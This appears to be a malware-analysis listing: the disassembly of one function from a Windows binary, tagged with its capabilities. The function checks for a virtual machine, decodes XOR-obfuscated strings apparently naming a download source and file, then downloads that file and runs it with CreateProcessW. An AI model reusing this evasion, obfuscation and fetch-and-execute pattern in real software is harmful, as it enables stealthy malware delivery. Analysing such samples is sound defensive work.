Function at 0x1400020e0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xa0], rax
xor ebx, ebx
call fcn.1400011c0
test al, al
jne 0x1400025b1
call fcn.1400016c0
test al, al
jne 0x1400025b1
call fcn.140001870
test al, al
jne 0x1400025b1
call fcn.140001ab0
test al, al
jne 0x1400025b1
mov word [rbp - 0x43], 0x2e
movdqa xmm0, xmmword [0x1400055e0]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140005620]
movdqu xmmword [rbp - 0x60], xmm1
mov dword [rbp - 0x50], 0x616f6c6e
mov dword [rbp - 0x4c], 0x676e6964
mov dword [rbp - 0x48], 0x6c696620
mov byte [rbp - 0x44], 0x65
mov byte [rbp - 0x41], bl
lea rdx, [rbp - 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002aa0
lea rdx, [0x140002c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x50], 0xf380f39b
mov dword [rsp + 0x54], 0xf386f381
mov dword [rsp + 0x58], 0xf3c2f384
mov dword [rsp + 0x5c], 0xf3d5f3d6
mov dword [rsp + 0x60], 0xf384f39e
mov dword [rsp + 0x64], 0xf393f39c
mov dword [rsp + 0x68], 0xf46cf38f
mov dword [rsp + 0x6c], 0xf42cf464
mov dword [rsp + 0x70], 0xf46bf460
mov dword [rsp + 0x74], 0xf429f468
mov dword [rsp + 0x78], 0xf461f461
mov dword [rsp + 0x7c], 0xf46ff465
mov dword [rbp - 0x80], 0xf469f425
mov dword [rbp - 0x7c], 0xf46bf475
mov word [rbp - 0x78], bx
mov byte [rbp - 0x76], 1
movdqa xmm3, xmmword [0x140005550]
mov eax, ebx
movdqa xmm4, xmmword [0x140005570]
mov edx, 0xf3fa
nop word [rax + rax]
movq xmm2, rax
punpcklqdq xmm2, xmm2
paddq xmm2, xmm4
movd xmm1, dword [rsp + rax*2 + 0x50]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x50], xmm1
lea rcx, [rdx - 5]
movq xmm2, rcx
punpcklqdq xmm2, xmm2
paddq xmm2, xmm3
movd xmm1, dword [rsp + rax*2 + 0x54]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x54], xmm1
lea rcx, [rdx - 3]
movq xmm2, rcx
punpcklqdq xmm2, xmm2
paddq xmm2, xmm3
movd xmm1, dword [rsp + rax*2 + 0x58]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x58], xmm1
lea rcx, [rdx - 1]
movq xmm0, rdx
movq xmm2, rcx
punpcklqdq xmm2, xmm0
movd xmm1, dword [rsp + rax*2 + 0x5c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x5c], xmm1
add rax, 8
add rdx, 8
cmp rdx, 0xf412
jb 0x140002240
cmp rax, 0x1c
jae 0x140002345
mov edx, 0xc0d
movzx ecx, ax
sub cx, dx
xor word [rsp + rax*2 + 0x50], cx
inc rax
cmp rax, 0x1c
jb 0x140002331
mov byte [rbp - 0x76], bl
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x20]
call fcn.140002cc0
nop
mov dword [rbp - 0x70], 0xf39bf397
mov dword [rbp - 0x6c], 0xf398f382
mov dword [rbp - 0x68], 0xf397f39b
mov dword [rbp - 0x64], 0xf39ef398
mov dword [rbp - 0x60], 0xf398f39e
mov dword [rbp - 0x5c], 0xf398f3a2
mov dword [rbp - 0x58], 0xf46cf396
mov dword [rbp - 0x54], 0xf42cf464
mov dword [rbp - 0x50], 0xf47cf466
mov dword [rbp - 0x4c], 0xf460
mov byte [rbp - 0x48], 1
lea rcx, [rbp - 0x70]
call fcn.140002630
lea r8, [rbp - 0x4a]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 8]
call fcn.140002cc0
nop
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x20]
call fcn.140001e80
test al, al
je 0x1400024e2
mov word [rsp + 0x73], 0x2e
movdqa xmm0, xmmword [0x140005600]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400055d0]
movdqu xmmword [rsp + 0x60], xmm1
mov word [rsp + 0x70], 0x6c69
mov byte [rsp + 0x72], 0x65
mov byte [rsp + 0x75], 0
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002aa0
lea rdx, [0x140002c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x30], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
movups xmmword [rbp + 0x78], xmm0
movups xmmword [rbp + 0x88], xmm0
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 7
cmova rdx, qword [rbp + 8]
lea rax, [rbp - 0x38]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400024b8
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002516
mov dword [rsp + 0x64], 0x2e656c
movdqa xmm0, xmmword [0x140005610]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x69662065
mov byte [rsp + 0x68], 0
lea rdx, [rsp + 0x50]
jmp 0x1400024f9
mov word [rbp - 0x28], 0
movdqa xmm0, xmmword [0x1400055c0]
movdqu xmmword [rbp - 0x38], xmm0
lea rdx, [rbp - 0x38]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002aa0
lea rdx, [0x140002c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x140002559
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002554
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002554
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000328c
movdqa xmm0, xmmword [0x140005560]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], bx
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1400025ad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000328c
xor eax, eax
jmp 0x1400025fd
mov word [rbp + 1], 0x2e
movdqa xmm0, xmmword [str.Virtual_Machine_Download_failed.ful._Executing_fNo_Virtual_Machidetected._ExitinDownload_successFailed_to_executne_detected._Dow_]
movdqu xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x1400055f0]
movdqu xmmword [rbp - 0x10], xmm1
mov byte [rbp], 0x67
mov byte [rbp + 3], bl
lea rdx, [rbp - 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002aa0
lea rdx, [0x140002c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140003160
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret